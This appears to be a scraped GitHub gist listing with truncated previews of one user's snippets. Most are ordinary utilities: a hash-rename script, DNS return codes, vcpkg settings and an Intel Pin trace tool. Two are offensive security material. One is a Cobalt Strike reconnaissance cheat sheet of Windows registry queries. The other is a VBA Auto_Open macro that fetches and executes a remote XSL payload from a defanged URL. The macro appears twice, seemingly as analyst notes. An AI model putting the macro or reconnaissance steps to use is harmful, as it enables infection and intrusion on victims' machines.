Alexander Rausch GitMirar

## rename_sha256.sh
#!/usr/bin/env bash

# rename binaries after their sha256 sum

function rename_sha256 {
    sha256=`sha256sum "${1}" | sed 's/  .*$//'`
    oldPath=`readlink -f "$1"`
    directory=`echo ${oldPath} | sed 's/\(.*\)[/].*/\1/'`
    newPath="${directory}/${sha256}"

## hash.py
def _rotr(num, bits):
    num &= (2**bits-1)
    bit = num & 1
    num >>= 1
    if(bit):
        num |= (1 << (bits-1))
    return num

def rotr(num):
	key = 13

## parseRCode.go
const (
	RC_NOERROR   = 0
	RC_FORMERR   = 1
	RC_SERVFAIL  = 2
	RC_NXDOMAIN  = 3
	RC_NOTIMP    = 4
	RC_REFUSED   = 5
	RC_YXDOMAIN  = 6
	RC_YXRRSET   = 7
	RC_NXRRSET   = 8

## x86-windows-static-md.cmake
set(VCPKG_TARGET_ARCHITECTURE x86)
set(VCPKG_CRT_LINKAGE dynamic)
set(VCPKG_LIBRARY_LINKAGE static)

## x64-windows-static-md.cmake
set(VCPKG_TARGET_ARCHITECTURE x64)
set(VCPKG_CRT_LINKAGE dynamic)
set(VCPKG_LIBRARY_LINKAGE static)

## gcc_intel_inline_asm.c

int main(int argc, char* argv[]) {
  int temp;
  temp = 42;

  __asm__ __volatile__ (
  ".intel_syntax;"
  "mov %%eax, %1;"
  "mov %0, %%eax;"
  ".att_syntax;"

## PinTrace.cpp
/*
 * PinTrace
 *
 * API call trace tool built with intel pin (https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads).
 *
 * CC by mirar@chaosmail.org
 *
 * This module can either be run in audit mode (-a flag) or provided with a config file (-c path/to/config).
 *
 * The config format is as follows:

## keybase.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                GitMirar
                / keybase.md
            
            
              Created
              November 16, 2018 23:38
            
          
    Keybase proof

I hereby claim:

I am GitMirar on github.
I am mirar (https://keybase.io/mirar) on keybase.
I have a public key whose fingerprint is 84B9 CCFF 974F 2574 1C5D  F401 ECBB 8358 CBA2 065C

To claim this, I am signing this object:

  
## cobaltstrike_sa.txt
Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Users who have authed to the system:
	ls C:\Users\

System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

Saved outbound RDP connections:

## gist:78115d363daee36d73979892c6b99567
Sub Auto_Open()
    Set XML = CreateObject("Microsoft.XMLDOM")
    XML.async = False
    Set xsl = XML
    xsl.Load ("hxxps://d3nvoqkqp3htqo.cloudfront.net/p_/content")
    XML.transformNode xsl
End Sub
	#!/usr/bin/env bash

	# rename binaries after their sha256 sum

	function rename_sha256 {
	sha256=`sha256sum "${1}" \| sed 's/ .*$//'`
	oldPath=`readlink -f "$1"`
	directory=`echo ${oldPath} \| sed 's/\(.\)[/]./\1/'`
	newPath="${directory}/${sha256}"
	def _rotr(num, bits):
	num &= (2**bits-1)
	bit = num & 1
	num >>= 1
	if(bit):
	num \|= (1 << (bits-1))
	return num

	def rotr(num):
	key = 13
	const (
	RC_NOERROR = 0
	RC_FORMERR = 1
	RC_SERVFAIL = 2
	RC_NXDOMAIN = 3
	RC_NOTIMP = 4
	RC_REFUSED = 5
	RC_YXDOMAIN = 6
	RC_YXRRSET = 7
	RC_NXRRSET = 8
	set(VCPKG_TARGET_ARCHITECTURE x86)
	set(VCPKG_CRT_LINKAGE dynamic)
	set(VCPKG_LIBRARY_LINKAGE static)
	set(VCPKG_TARGET_ARCHITECTURE x64)
	set(VCPKG_CRT_LINKAGE dynamic)
	set(VCPKG_LIBRARY_LINKAGE static)

	int main(int argc, char* argv[]) {
	int temp;
	temp = 42;

	__asm__ __volatile__ (
	".intel_syntax;"
	"mov %%eax, %1;"
	"mov %0, %%eax;"
	".att_syntax;"
	/*
	* PinTrace
	*
	* API call trace tool built with intel pin (https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads).
	*
	* CC by mirar@chaosmail.org
	*
	* This module can either be run in audit mode (-a flag) or provided with a config file (-c path/to/config).
	*
	* The config format is as follows:
	Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

	Users who have authed to the system:
	ls C:\Users\

	System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

	Saved outbound RDP connections:
	Sub Auto_Open()
	Set XML = CreateObject("Microsoft.XMLDOM")
	XML.async = False
	Set xsl = XML
	xsl.Load ("hxxps://d3nvoqkqp3htqo.cloudfront.net/p_/content")
	XML.transformNode xsl
	End Sub